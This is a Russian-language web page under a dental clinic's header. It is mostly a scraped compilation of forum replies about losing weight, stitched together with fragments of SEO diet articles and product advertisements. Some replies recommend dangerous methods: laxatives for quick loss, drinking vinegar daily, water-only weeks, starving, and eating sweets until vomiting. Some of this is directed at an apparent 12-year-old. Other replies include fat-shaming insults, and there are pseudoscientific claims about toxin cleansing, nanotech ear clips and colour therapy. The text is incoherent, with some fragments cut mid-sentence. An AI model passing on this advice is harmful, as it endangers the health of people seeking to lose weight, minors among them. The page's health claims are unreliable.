Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Хочу похудеть...поделитесь опытом, дайте совет)

Почитай про белковую диету.

Вопрос того, что нельзя есть, чтобы похудеть, волнует практически каждого недовольного состоянием своей фигуры. Бывает ситуация, когда человек кушает мало, но его вес все равно не хочет снижаться.

Бегай, ебашь в баскетбол жри что хочешь но просто расходывай все, что ты нажираешь. Активность затащит

Меньше есть - больше двигаться
4 слова и ничего нового веками.

Какая диета в 12 лет! ! меньше ешь и делай зарядку

Чтобы похудеть, нужно расходовать больше калорий, чем получаешь. Соответственно, тебе нужна активная физ. нагрузка и правильный режим питания. Выбери спорт, который нравится, займись им (необязательно профессионально) . Ты определенно похудеешь, если на завтрак будешь есть кашу, на обед - супы (жидкая пища быстрее усваивается и вообще является важной и полезной частью рациона) , на ужин - легкий салат. Все это - маленькими порциями. На подник, перед сном - кефир, фрукты. Постарайся ограничить себя в сладком. Будет трудно, зато насмешки прекратятся :) Похудеть тебе надо ненамного, судя по твоим росту и весу. Так что не перебарщивай. Удачи, все получится, верь в себя и люби себя! :)

Какие нахер диеты в 12 лет???? на физкультуру ходи, в секции спортивные походи

Если с дробным питанием все более или менее понятно, то вот с тем что нужно кушать чтобы похудеть все обстоит гораздо сложнее, так как для того чтобы питаться правильно нужно либо много времени, чтобы обдумывать каждое свое меню, либо забыть о разнообразии...

Ну заведи лёгкую диету)) )

1. Каждый (!) день нужно хотя бы один раз:
- вспотеть,
- проголодаться,
- физически устать, с ног валиться.
2. Есть только половину того, что хочешь съесть.
3. Пить по 2 стакана чистой воды (не обязательно залпом) между приемами пищи (через 1 час или более после, но не менее 30 минут до еды) :
1 стакан перед завтраком,
2 стакана перед обедом,
2 стакана перед ужином,
1 стакан перед сном.
4. Чаще думать о позитивных результатах применяемых методик. Для этого можно использовать аффирмации, медитации и "заговоры" по методике акад. Г. Н. Сытина.
5. Выполнить ряд курсов цвето-информационной терапии: на патологическую функциональную систему, на страдающую физиологическую систему, на нормализацию комфортной массы тела.
6. Принимать десертный гель на основе цитримакса по методике снижения массы клеток.
7. Психотерапия ...

Малышка, во-первых, перестань принимать оскорбления и насмешки на свой счет - это не тебе сказано, ведь ты не корова и мы это знаем!! ! С годами ты вытянешься, килограммы уйдут в рост, ты будешь стройняшкой, а пока береги себя!!

Ребят, можно ли похудеть не кушая после 7-и, а не 6-и?? И сколько ???

Пей молоко, кушай творог, после 6ти или 7ми разницы не дождешься

Что не есть, чтобы похудеть? Опубликовал admin - Апрель 9th, 2012.В сегодняшнем материале я расскажу о том, что не есть, чтобы похудеть, и как убедить свой организм отказаться от не нужных ему продуктов.

Нет. кушать нужно за 3 часа до сна. ложитесь в 12 - последний прием пищи -в 9.
в день нужно есть 4-6 раз маленькими порциями здоровую пищу.

Http://www.youtube.com/watch?v=ReMPSQe1svE

Это одно из самых вредных заблуждений. едят за 3 часа до сна.

Если есть даже после 18:01, то неминуемо наступит ожирение :)

Всегда говорят не ешь после 6,это заведенно так! т. к к вечеру метобализм замедляеется, и зависит все от вашего метаболизма если он медленный то конечно не стоит

Как похудеть. кушать и худеть. поухдеть не отказываясь от еды.

Очень рекомендую программы питания и программы тренировок диетолога Сергея Сивца! Для дома, улицы и тренажерного зала. Есть специальные программы для похудения живота и боков! На мой взгляд, они самые эффективные и недорогие. Можно быстро и безопасно похудеть без насилия над собой! Сайт у него, по-моему, атлетик блог ру. Можно через поиск найти. Успехов всем худеющим!

Как похудеть?.. Как похудеть?

Как похудеть?. . Как похудеть? Как похудеть?. . Как похудеть? Как похудеть?. . Как похудеть? Как похудеть?. . Как похудеть? Как похудеть?. . Как похудеть? Как похудеть?. . Как похудеть? Как похудеть?. . Как похудеть?
НЕ ЖРАТЬ

Как похудеть, если хочется кушать? Похудеть это огромная проблема, поправится тоже. Наука бессильна помочь тем и другим. А вот советы людей, занимающихся этой проблемой, вполне могут пригодиться.

Да задолбала ты уже этот вопрос задавать
есть меньше надо и бегать больше

Не жрать

Не хавать после 18-00 и спорт паралельно и всё будет

Кофе с молоком без сахара и шоколад (можно даже молочный) 100 гр на день как проголадаетесь. Я примерно 8 чашек пила и 8 ломтиков шоколадки съела. Молоко покупала 1,5%. Есть не хочется, потому что мозг получает сигнал сытости от сладкого. За день 1 кг ушёл. Советуют 3 дня. Просто чёрный кофе во время диеты не рекомендую, т. к. нервы итак от голода пошаливают, тем более раствормимый, - ещё и целюлит заработаете. Удачи. Знаете, худела я, не набирая вновь, только будучи влюблённой, чего и Вам желаю. От похудевшей на 15 кг.

Ты и так тощая, нафига худеть?

Я сейчас так худею, кушаю днем мало, и совсем стараюсь не ужинать. кефир на ужин вообще хорошая привычка.кишечник хорошо работать будет.только нужно пить настоящий кефир. Нет, но если я худею не отказываясь от ужина, то вы так тосно похудеете.

Тебе худеть не надо

Можно ли похудеть не кушая после 16? у кого был опыт расскажите?

Перейдите лучше на ТРЕХ РАЗОВОЕ ПИТАНИЕ: (понедельник, среда, пятница) , на этой диете вы уж точно похудеете.

Что есть на завтрак, чтобы похудеть? Правильный завтрак для похудения должен содержать белки, углеводы, витамины, минералы и немногоПодавляющее большинство западных диетологов считает, что завтрак главная еда в рационе худеющего. Кушать надо сразу после...

Смысл не в том чтобы не кушать после 16 - а в том чтобы не нагружать свой желудок перед сном. Нужно есть маленькими порциями часто и правильно - то есть здоровую пищу

Неа, нельзя! в любом журнале по поводу диет есть статьи в которых рассказывают почему нельзя похудеть если не кушать после 18-00,а после 16-00 тем более! нужно просто сделать ограничение в еде, не переедать и есть независимо за 2 часа до сна, тогда все будет ок! ну а вообще лучше на ужин есть салатики овощные, кефир, сок, фрукты, все такое легкое и низкокалорийное!

Это какой-то идиот придумал.
после 16 можно не есть, если вы ложитесь спать в 19-20 часов и просыпаетесь в 5 утра.
голодая, вы заставляете организм доставать жир из резерва. а это ведет не к похудению, а наоборот - к появлению лишнего веса, к тому же гормональным проблемам.
вас же никто не заставляет жрать торт вечером. можно поесть и после 18 часов, но только не жирную и малокалорийную пищу. еще лучше - пить зеленый чай.

Желудок посадишь.

У меня был и после 6 и 4 и 3!!! Сейчас сижу, после 3 не ем, а на ночь кефир пью и все. Хотя мне говорят куда еще худеть. В общем первая диета у меня была после 6 не ела, похудела на 15 кг за 2 месяца

Что нужно кушать, чтобы похудеть перечень продуктов, способствующих похудению. Перестаньте употреблять жиры, и переключитесь на продукты, которые содержат белок. Лучшим источником белка в мире считается яйцо.

После 16-ти еще успеете проголодаться, есть вероятность, что захочется покушать после 22-х, а это очень вредно. Рекомендую последний прием пищи в 17-30 в достаточном количестве, чтобы до сна мысли о еде не посещали. Хотя одна моя знакомая очень сильно худела, не кушая после 14, результат был отменный, но и выдежка нужна!

Вообще не есть после 6 это клише, достаточно не есть до четырех часов до сна

Как похудеть в бедрах и коленях ?

Кушать меньше, милая) Больше никак)

Я была в шоке я даже не ожидала, что похудевших при помощи моей системы мужчин будет так много! Я думаю, что дело в том, чтоКакой, на ваш взгляд, самый вредный продукт для похудания? Самых вредных нет, просто главное кушать все тяжелое в правильное время.

Не возможно похудеть локально - если конечно это не пластика. Меньше ешьте углеводов и больше бегайте/ходите.

Больше двигаться.
Скажем, каждый день по часу БЫСТРОЙ ходьбы.
Или кататься на роликах.
Танцы в быстром ритме тоже будут способствовать
сбросу веса, если будет регулярность.
В общем, движение--это жизнь.)))

Если не кушать после 6-ти вечера можно похудеть?

Чуток, но не сильно, себя мучать

.Есть или не есть, поправиться или обрести стройность, что есть, а что не есть, а также что надо кушать чтобы похудеть или поддержать нормальный вес?!Итак, для того чтобы выяснить как похудеть и не поправляться, первым делом, необходимо выяснить какие продукты питания...

Похудеть может быть и нет а вот вес набирать немного останавливает.

Можно похудеть если вообще не кушать...

Насчет похудеть это сказки, а вот бессонницу приобрести можно...

Вы определитесь что хотите, заработать гастрит или язву, то не ешьте. А если хотите избавиться от лишнего жира, то от голодовки он не исчезнет, тут надо физические нагрузки! Фитнес тот же!

Похудеть можно, но смотя что кушать до 6-ти вечера. Если обжираться тартиками и печеньем то нельзя. А если кушать нормальную еду можно.

Для того чтобы похудеть придерживайтесь 3 правил Обязательны три при ма пищи в течение дня. Порция, съедаемая за раз должна умещаться в ладошке.Дыню, а также арбуз лучше есть за час до еды и ни с чем не сочетать.

Если сильно хочешь похудеть, то сядь на уксусную диету, это с утра проснулась випила столовую ложку уксуса через 3-4 часа покушай, потом опять в 6 часов вечера выпила и не ешь потом к утру по кушала в 12 часов опять выпила и потом вечером покушала и так каждый день и похудеешь у меня сестра так похудела за две недели на 7 кг!

Можно не потолстеть!

Можно! Плюс не кушай сладостей после 12 дня. И все будет отлично. Я за неделю так похудела на 3 кг.. но будь готова к тому что вес потом встанет. Главное не бросать начатое

Мне нужно за 2 дня максимально похудеть! не кушать я не могу

Пей слабительное. Работай на унитаз

Когда мы ищем советы как похудеть, часто забываем о том, что не менее важно учитывать где мы хотим похудеть.Низкожировое питание, чтобы похудеть в бедрах. По книге Р. Конли Диета для бедер . Смысл данного питания в том, что кушать можно все что угодно, но суточная...

Ахалай махалай-всё,теперь ты как берёза

Сжигай калории по максимуму, спорт и минимум одежды, на обогрев тела тоже тратится энергия.

Похудеть никак, обезвожиться легко.
Кардиотренажеры с утра до вечера (бег, велосипед, степпер)

Ахахахахаххаахх ржу, ахахахахахахахаххах просто слов нет аааааааа
люди годами пытаютс похудеть, ну минимум за 2 неделю, а ей тут за 2 дня, ну рассмешила утречком ахахахаххааххахахаха

Каждому хочется с тебя прикольнуться. Скажи честно. Ведь это не тебе надо. На кого работаешь? Поспорила с кем или хочешь в книгу рекордов попасть? А в качестве совета от ежика - сделай максимальное число приседаний и похудеешь максимально.

Что нужно кушать, чтобы похудеть? Все мы понимаем, что организму нужны все питательные вещества. Необходимы витамины, минералы, микроэлементы. И питаться 3 яблоками в день с кефиром 1% только здоровью вредить.

Желательно пить только родниковую воду в течении этих 2х дней до3х литров, если не склонны к полноте. И больше гулять на свежем воздухе. Изаняться сексом. Результат будет на лицо.

Тогда не похудеете, если не можете не ограничивать себя в еде... нужна сило воли

Не похудеете за 2 дня, это бессмысленно

Как быстро за месяц похудеть?

Вставьте микроиглу.

Как похудеть ? Что кушать на ужин ? ФОТО. Опубликовано 12 Август, 2014 - 19 15 отзыв от Анастасия Птичка.Умница! Абсолютно согласна, что после 6-ти есть не то что не можно, а даже нужно. Многие физиологи это подтвердят.

Каждый день заниматься с мужем физическими упражнениями.. . ( ну вы меня поняли)

1. Есть лапшу поперек, а не вдоль
2. Бегать по улице вдоль, а не поперек

Диета abc это если нужно быстро (до -10 кг)
спорт, правильное питание если медленно (до -3 кг)

Ходить по часу.. не есть после 4..контрастный душ.. начинать постепенно..

Спорт, отказ от мучного, сладкого

Что надо кушать девушкам, чтобы похудеть? В рейтинге самых важных вопросов, которые задают себе девушки, вопрос Что бы такое съесть, чтобы похудеть? , занимает лидирующую позицию.

И так Вы Пахудеите за 2 недели на 10 кг
Когда есть желание и возможность быстро похудеть, порой непросто дать общую рекомендацию – «Как похудеть за 2 недели на 10 кг? Делайте такие то действия и вы сбросите лишний вес гарантированно!» . Разные средства похудения на каждого влияют индивидуально. У каждого человека есть свои физиологические особенности, аллергические реакции, скорость метаболизма… Все это влияет на то, насколько быстро вы худеете.
Когда опытные похудальщики слышат вопрос - как похудеть на 10 кг за 2 недели – первое, что они советуют, это кремлевская диета или «кремлевская объедаловка» . Она бывает двух видов – обычная диета и диета для вегетарианцев. Такая диета считается достаточно эффективной, чрезвычайно вкусной (по сравнению с другими способами похудения) и безопасной для здоровья. Длится она две недели и ее рацион расписан по дням.
Судите сами - в первую неделю вы едите:
понедельник
завтрак – сыр, яичница из двух яиц, чай (всегда без сахара)
обед – салат из кальмаров, запеченное филе нежирной рыбы, чай
ужин – огурец, отварная куриная грудка, 100 грамм нежирного биойогурта
вторник
завтрак – творог, 2 яйца вкрутую, чай
обед – овощной салат, свиная отбивная, кофе
ужин – отварная цветная капуста, куриная грудка, чай
среда
завтрак - сыр, яичница из двух яиц, чай
обед – салат из овощей, мясо на гриле, кофе
ужин – помидорка, филер рыбы, биойогурт
четверг
завтрак – капустный салатик, пара отварных сосисок, чай
обед – овощной салат, люля-кебаб из баранины, кофе
ужин- пара листиков салата, рыба на пару, чай
пятница
завтрак – творог маложирный, чай
обед – овощной салат, свинина запеченная с яйцом, чай
ужин – твердый сыр, пара листиков салата, филе отварной рыбы, биойогурт, бокал сухого вина
суббота
завтрак – сыр, яичница из двух яиц, чай
обед – салат из кальмаров, бифштекс, бокал сухого вина
ужин – салат из овощей, рыба запеченная, биойогурт
воскресенье
завтрак – пара сосисок, кабачковая икра – 100 грамм
обед – пара листиков салата, курица-гриль без кожи, чай
ужин – помидорка, отварное мясо, биойогурт
во вторую неделю вы едите:
понедельник
завтрак – сыр, яичница из двух яиц, кусочек нежирной ветчины, чай
обед – овощной салатик, суп из сельдерея, бифштекс, чай
ужин – кусочек отварной куриной грудки, помидорка, биойогурт
вторник
завтрак – нежирный творог, два яйца вкрутую, чай
обед – овощной салатик, грибница, чай
ужин – куриная грудка с гарниром из цветной капусты, чай
среда
завтрак – пара сосисок, зеленый горошек, чай
обед – салат из капусты квашенной, овощной суп, свиная отбивная, кофе
ужин – кусочек отварной рыбы, помидорка, биойогурт
четверг
завтрак – пара сосисок и салат из цветной капусты, чай
обед – овощной салатик, кусок отварной курицы с бульоном, люля-кебаб из баранины, кофе
ужин – пара листиков салата, рыба на пару, чай
пятница
завтрак – омлет из 2х яиц с сыром, чай
обед – салат из капусты квашенной с ягодами, суп из сельдерея
ужин – твердый сыр, пара листиков салата, филе отварной рыбы, биойогурт, бокал сухого вина
суббота
завтрак – твердый сыр, глазунья из 2х яиц, кофе
обед – салат из капусты квашеной, уха, бокал сухого вина
ужин – пара листиков салата и рыба на пару
воскресенье
завтрак – 3 сосиски, кабачковая икра – 100 грамм
обед - пара листиков салата, мясная солянка, курица-гриль, чай
ужин – помидорка, отварное мясо, биойогурт

Как похудеть кушая мучное и сладкое?в каких количествах?

В день килограмма по 2-3 мучного и столько же сладкого есть

Что кушать, чтобы похудеть? Любые низкокалорийные диеты предусматривают ограничение ассортимента продуктов. Что нужно кушать, чтобы похудеть? Какие продукты максимально полезны для фигуры? Белковая пища.

В отрицательных.

Не получится.

Ну и вопрос.. .

Зная потребность своего организма в калориях, и зная калорийность продуктов, можно рассчитать свое 6-разовое питание, которое может привести к снижению веса. Но питание должно быть разнообразным

Из мучного кушайте макароны, а из сладкого - фрукты. Сколько захотите. И похудеете

Что можно и нужно кушать женщине, во время грудного вскармливания? Из чего состоит меню кормящей матери и как быстро похудетьКак быстро похудеть в домашних условиях? 11. Как похудеть кормящей маме? Диета да или нет? 12. Разгрузочные дни при кормлении грудью 13.

Как можно похудеть? Способы, что можно кушать и что нельзя?

Вапще кушать надо меньше, и каждый день считать съеденные калории.

Чтобы похудеть, потребуется поменять привычный режим дня. Тогда без особых усилий и изнурительных диет совершенно реально сбросить до 3кг в месяц.К этому времени еда хотя бы покинет желудок. Чего не произойдет, если лечь спать сразу после еды.

Хлеб, жирное и пиво.

Как похудеть до лета???

Немного мяса и салаты из свежих овощей

Как похудеть что не кушать. Поиске необходимого сериала постоянная физическая работа на огороде, в сарае массы, ни одной как похудеть что из не кушать пищи не пойдет на жир.

Не жрать на ночь!))))

Как говорит певица Ирина Аллегрова: нужно закрыть рот.

Как в анекдоте- если женщина начала качать пресс и выбросила конфеты, значит через 2 часа у нее самолет на море....

Сядьте на диету ешьте гречку и рис в любом количестве и овощи

Заклей рот лейкопластырем)) Неделя и ты - стройная!

Может быть, я не буду оригинальна, ведь об этом говорят многие врачи чтобы похудеть, нужно кушать. На своем опыте я убедилась, что это действительно так. Главное, знать, что кушать.

Тебе не надо худеть (если это твоё фото).

Раздельное питание вам в помощь! Ну и конечно аэробные нагрузки!

Иди бегай

Воду пить. Неделю.

Можно ли похудеть не кушая после 18:00? у кого был опыт расскажите пожалуйста

Можно

Что нужно кушать, чтобы похудеть новичку. Вероятно, таких людей очень мало, но все же. Новичком в отношении похудения здоровыми способами может считаться любой человек, который ранее эти самые способы игнорировал.

Моя мама уже несколько лет так делает.. строго.. но днем есть много и в итоге вес только стоит на месте.. не похудела вообще..

Похудеть-то можно.. . но можно и без этого, сейчас диетологи уже не говорят, что есть нужно до 18 часов, главное не есть за 3 часа до сна.

У меня коллега так похудела.

Конечно, если Вы не будете есть после 18 час. , у Вас много шансов похудеть. Ещё больше шансов, если Вы не будете есть совсем - это гарантированный результат.
На самом деле, это очень вредно. Спросите любого гастроэнтеролога.
Надо правильно питаться и не есть хотя бы за 2-3 часа до сна.

Не похудела.

Консультация на тему - Не знаю, как похудеть-постоянно хочу кушать - Добрый день! Мне 23 года, вес 70-72 кг, рост 165 см. Понимаю, что надо похудеть, но не получается ограничить себя в еде.

Да. Но надо подходить к проблеме похудения комплексно. Прежде всего, надо понимать, что подбор комплекса из диеты и физических упражнений ставит своей целью глубокое очищение организма и, как следствие, его оздоровление, а похудение – это приятный и красивый бонус за наши труды и «лишения» . Все способы похудения хороши по-своему, но выбирайте все же тот, который вписывается в ваши традиционные гастрономические вкусы, реальный образ жизни и, уж извините за приземленность, кошелек. И следующее. В основе разумного оздоровительного похудения всегда лежит подготовка к очищению организма с применением энтеросорбентов таких как Полисорб, который является наиболее универсальным методом подготовки наших жизненных органов к похудению.

Как похудеть кушая сладкое

Всего лиш знать меру и стараться на ночь не есть

Как похудеть, если хочется кушать? 15 июня, 2010 послать другу. Похудеть это огромная проблема, поправится тоже.

Липосакцией

Больше двигаться, а лучше бега нет.

Кушать ТОЛЬКО сладкое, пока не стошнит.

Галя при похудении сладкое можно кушать только до 12 часов дня .ну и конечно диета, движение. и не есть после 18 часов.

Есть не только сладкое. Из сладкого - меньше мучного.
В рационе должно быть достаточно белка, круп и овощей. Главное - сбалансированность питания.
Контролировать и проверять здоровье (при нарушении обмена веществ и/или работы почек вес может накапливаться за счет накопления не жиров, а жидкости. Это не означает, что пить надо меньше. Нужно лечение)

Что разрешается и требуется употреблять, чтобы быть в состоянии сытости, и, к тому же, результативно понижать вес без вредности для состояния организма? Что можно кушать, чтобы быстро похудеть и с пользой для фигуры.

Можно до 12 дня есть сладкое, после только белковая пища или овощи

Существует диета на шоколаде, но на такой диете очень легко обменку угробить.

Диета

Похудеть кушая сладкое достаточно легко, вот например апельсиновая диета , а вот банановая диета выбирай любую из них, обе диеты сладкие
также похудеть употребляя сладкое можно сделав себе разгрузочные дни на соках под ссылкой подробно всё расписано пользуйтесь на здоровье и худейте

Как похудеть без вреда что надо кушать и сколько бегать?

Кушайте свежие фрукты в любых количествах, (фрукторианство) похудеете и ещё и пользу получите для организма. А занятия спортом чем больше тем лучше но без фанатизма. Чуство меры вам в помощь.

Что не есть, чтобы похудеть. Всего 7 пунктов. Опубликовано 29.04.2013 Автор admin.Если у вас возник вопрос, что же можно и нужно кушать, то прочтите эту статью. В ней список продуктов для похудения.

Тут все на много проще чем ты думаешь! Кушать салатики -легкие и бегать в меру . И придерживаться определенных рамок для создания красивой формы тела. Не надо там "грубить" по поводу еды или бега .Все просто! готова будь сразу на серьезные изменения -жертвы .

Бегать не надо.
Лучше вот такая гимнастика: http://ariom.ru/forum/t16266.html

Надо кушать по немножку и класть пищу не в тарелку, а в блюдце.
Не есть после 18 часов, успеть поесть 3 раза до этого времени.
Ешьте с аппетитом и разнообразно.
Исключить сладкое и сдобное.
Совершать ежедневно прогулку в среднем темпе, начиная с 30 минут и прибавляя по 5 минут ежедневно.
Хорошо высыпаться .
Успехов !

Если хотите без вреда - то сбрасывать нужно по 1 кг в месяц: если худеть резко, то большая вероятность того, что килограммы вернутся, с причём "в плюсе". Есть можно всё, но уменьшить количество съедаемой пищи. Старайтесь поздно (на ночь) не есть. А бегать - да сколько хотите, если нет противопоказаний. Очень эффективно сказываются на внешности занятия аквааэробикой.

Если Вы решили действительно похудеть, то придерживайтесь в питании следующих общих правил: регулярно питайтесь; ешьте больше свежих продуктов; не перекусывайте продуктами из фастфуда; съешьте лучше яблоко; используйте в рационе низкокалорийные продукты (клетчатка) и продукты сжигающие жиры (например, красный острый перец, зеленый чай, некоторые фрукты и ягоды, цельные злаки) ; избегайте газированных напитков, вырабатывайте правильные пищевые привычки (как и что есть) ; пейте больше воды; считайте калории.

ЧТО и КАК вам нужно есть, чтобы похудеть? Автор Антон Романчук Просмотров 11521. Приветствую вас, уважаемые гости сайта!Данная диета не подразумевает моно питания т.е. всю неделю кушать только одни яблоки, например, или пить только один кефир.

Кушать как можно чаще, но понемношку через каждые 2-3 часа. Фрукты, постный суп, варёная грудка, варёные овощи.
Ни грамма шоколада, выпечки, риса, бананов, майонезов, кетчупов, можно чуть чуть английского хлеба или с отрубями но немного и не каждый день.
А по поводу бега, то лучше интервальный бег 16 минут. , 1 мин., медленно, 1 мин. , очень быстро. За 3 часа перед сном ни чего не кущайте, а только пейте воду.

Согласна с предыдущим оратором!
Единственный момент- вареные овощи не несут в себе пользы- это обыкновенные углеводы, лишенные витаминов с высоким гликемическим индексом, так что сырые-лучше! Наберите в интернете "Блог Ярослава Брина"- потрясающе понятно и доступно объяснены все процессы, ведущие в ожирению и похудению. Там и примерное меню и комплекс тренировок есть. Перешла на здоровое питание и на спорт 3 раза в неделю около месяца назад, сначала было очень тяжело... Но сейчас, когда видны результаты- в портзал тянет и на всякие вкусняшки не смотрю. Самое главное понять- что еда-это не способ получить удовольствие, а просто источник энергии.

С утра втяни живот наверх и наклонись и продержись так 25-30 сек. (методика для сужения желудка, кушать будешь меньше) зайди на сайт ,,О самом главном, , скачай таймер Табата И качай пресс под него (20 секунд очень быстро качай пресс, а 10 секунд отдыхай и так 8 раундов) ОЧЕНЬ ПОМОГАЕТ ПОВЕРЬ!! ! и выпивай по 2 литра воды каждый день

.
Диеты все индивидуальные и 95% их не выдерживают. В итоге набирают еще больше.
Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час
•перейти на дробное питание 5-6 раз в день
•ограничить потребление ненасыщенных жиров до 40 г в день
•исключить трансжиры (Жиры бывают трех видов - насыщенные (полезные) например рыба некоторых сортов ненасыщенные колбаса сыр и трансжиры (очень плохие) например маргарин
•с удовольствием потреблять продукты с насыщенными жирами так как они содержать очень полезные вещи например жирные кислоты омега -3)
•есть ржаные или пшеничные отруби
•Алкоголь ограничить и лучше всего пить немного красного вина
•Кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе чем на 25 км
•Сладкое мучное сдобное . Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать
Попробуйте инновационное средство для похудения -клипса с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий.
Еще много полезного для похудения смотрите на блоге Похудение21век

Если в течении месяца употреблять меньше 1500ккал. и меньше 40 углеводов на сколько можно похудеть?

Скорее ты позеленеешь от недостатков витаминов и прочего)
Ну и со временем твой гастрит перерастет в язву и тебе будет очень больно)

Но как это сделать, не голодая? Как похудеть без диет? Что можно и нужно кушать, чтобы оставаться сытым, и, в то же время, эффективно худеть без вреда для здоровья?

Очень рекомендую программы тренировок и питания Сергея Сивца (самый лучший тренер по бодибилдингу и фитнесу) .
Для дома, улицы и тренажерного зала.
Они самые эффективные!

Можно ли похудеть благодаря сексу?

Нет/а если и сможешь то ипаста надо столько что пипи как старая тряпочка станет

Однако, женщин изо дня в день интересует другой вопрос что кушать, чтобы похудеть? Ведь что может быть лучше кушаешь и худеешь.

Нет

Да, если после секса не опустошать холодильник и от позы еще зависит.

Это же спорт. да

Попробуй-расскажешь

Можно, еще как

Как правило, в рационе таких дам кроются продукты с высокой калорийностью, которые и мешают стройности и красоте. Рассмотрим, в чем могут крыться лишние калории и что нельзя кушать, чтобы похудеть

Похудеть можно благодаря спорту, а секс и влюбленность это стимул)))

Влюбиться... дна началА... нужно))))

Худеют как собаки! только не лежи как бревно! двигайся и не отставай от ритма.

Надо регулярно питаться (по расписанию) и не кушать всякое АМНО!

Конечно!!!

В ней ты и узнаешь на свой вопрос ответ что нельзя есть, чтобы эффективно похудеть, а что есть можно и нужно. Начнем с того, что нельзя, чтобы было потом приятно узнать, что можно кушать. Ты уже вернулась? Тогда читай.

Девушки Кто худел не кушая после 6? напишите есть ли +? и кто сколько сидел и сколько скинул?

Я так худела и сейчас продолжаю! ) Плюсы однозначно есть! так что пробуйте смело! ) по началу тяжело, я, например, постоянно срывалась, но все таки взяла себя в руки и привыкла уже)) ) но обязательно помогайте себе физ нагрузками!!!! это неотъемлемо при похудении!! ! ну и не стоит забывать, что до 6 стараться нужно питаться нормально, а не ведрами борщи и котлеты кушать)))) ) УДАЧИ ВАМ)))

Знания того, что и какое количество пищи надо кушать, чтобы похудеть легко, придадут дополнительный импульс вашим усилиям в борьбе с лишним весом.

Кто худел не кушая после 6? напишите есть ли +? и кто сколько сидел и сколько скинул??? ?

Я так похудела почти на10кг за два месяца!!

Таким образом, если не кушать четырнадцать часов, то последние два часа организм будет переваривать собственные жиры.Специалисты утверждают, что похудеть в холодное время года практически невозможно.

Фруктовые салаты тебе в помощь. Ешь как обычно, но на полдник в период 3-4 часа дня осуществляешь приём фруктового салата. Организм в первую очередь очистится от шлаков и гниющих продуктов распада, это порядка 5-6 кг. За 3 три недели приёма такого салата сбросил в весе 5 кг, живот конкретно умялся. Салат: всего по одному, один банан, яблоко, киви, лимон, апельсин. Первые три градиента на тёрку, остальные два на доске, ножом. А далее проявляй фантазию.
Просто не есть после щести, или как то мучать себя голоданием вредно, нужно пересмотреть свой рацион и порядок приёма пищи.

Девушки Кто худел не кушая после 6? напишите есть ли +? и кто сколько сидел и сколько скинул??

После родов за 3 месяца скинула очень много! По весу - с 86 похудела до 60 кг. Размеры- с 52 размера до 44 -го. Просто не ела после 18-00!

Большинство диетологов для того, чтобы похудеть, рекомендуют отказаться от употребления некоторых продуктов питания. Возможно, ли полноценно питаться и терять лишние килограммы?

Отвечу на твой вопрос, я очень многое об этом знаю, если ты наишешь его в ответах сюда

Диеты все индивидуальные и 95% их не выдерживают. В итоге набирают еще больше.
Даю простые, но эффективные рекомендации:
•пить минимум 1 стакан не кипяченной воды за 30 минут до еды
•ходить не мене 10000 шагов в день со скоростью 5-6 км в час
•перейти на дробное питание 5-6 раз в день
•ограничить потребление ненасыщенных жиров до 40 г в день
•исключить трансжиры (Жиры бывают трех видов - насыщенные (полезные) например рыба некоторых сортов ненасыщенные колбаса сыр и трансжиры (очень плохие) например маргарин
•с удовольствием потреблять продукты с насыщенными жирами так как они содержать очень полезные вещи например жирные кислоты омега -3)
•есть ржаные или пшеничные отруби
•Алкоголь ограничить и лучше всего пить немного красного вина
•Кока пепси и другие сладкие напитки убрать из рациона подальше и не приближаться к ним ближе чем на 25 км
•Сладкое мучное сдобное . Это простые углеводы они очень быстро превращаются в жир. Надо ограничить, но совсем убирать из рациона не следует. Иногда надо себя побаловать
Попробуйте инновационное средство для похудения -клипса с нанопокрытием, которая сочетает идеи иглоукалывания и нанотехнологий. . Она действует на точку голода на козелке и помогает с ним справиться. Кроме того нормализует обмен веществ, работу эндокринной системы и другое.
Еще много полезного для похудения смотрите на блоге Похудение21век

Неделя-0.5 кг
сначала трудно не есть, а потом привыкаешь на 2ю неделю уже
главное не сорваться,
но набрать вес обратно будет легко

Можно ли похудеть не кушая после шести, не отказываясь от сладкого. и за какой срок?

Может, я не права, но я слышала, что человек, который ест меньше, полнеет быстрее, чем тот, который ест в несколько раз больше.
А вообще я думаю, что похудеть, отказавшись от сладкого, вполне реально.

С проблемой, как похудеть в животе, женщины сталкиваются часто. Убрать живот возможно, но это потребует стараний.пить больше воды до 1,5-2 л в день кушать не меньше 5 раз в день, порция не должна превышать 200 г. не пить после еды, не запивать пищу

Да. Нужно просто сладкое кушать до 14.00

Думаю нет

Можно. Отказываться от сладкого совсем не обязательно, достаточно отказаться от мучного сладкого. И в целом, есть меньше.

Не есть после 18 часов - давно развеянный миф. Все сугубо индивидуально. Дело в том, что организму нельзя давать перерыва в еде больше 10 часов. Если вы поедите в 17 часов, то, следовательно, следующий прием пищи должен быть в 3 часа утра. Не думаю, что это правильно) ) Просто у организма начинается "истерика", и после 10 часов голодания, при первом же попадании пищи, начинается активное накапливание "впрок". Это называется "стрессовый запас". Так что не верьте, что после 6 есть нельзя, ешьте фрукты, салаты или что-то не очень калорийное. Каждый для себя сам определяет способ сбросить вес. Понаблюдайте за собой, и все сами поймете.

Можно, только если вы будете двигаться. Будете сидеть целый день - никакие ограничения в еде после шести не помогут.

Меня всегда удивляют толстые жиробасины которые все время кричат о каком то нарушении обмена веществ и говорят что не могут похудеть, а сами жрут каждый день бутерброды с колбасой и с дивана не вылазят .

.я сделала вывод никакой фитнес не поможет похудеть, либо бег либо не жрать после 6 ти и стараться просто не жрать мучное много.

Нельзя. Мало того, самопохудение только чуть менее опаснее чем самолечение. Дело это дорогое раз, долгое два, и неприятное три.

Я вот сегодня скушала шоколадку . потом прошла пешком км 2 .. надеюсь калории сгорели .)

Ешь после 18.00 творог, отварную курицу, рыбу, тушеные овощи, кефир. Голодной так трудно заснуть! А вот сладенькое, которое мы все любим, ешь только до 15.00, да и то в разумных пределах. Вечером, если уж совсем невмоготу - съешь 2-3 штучки кураги или чернослива.

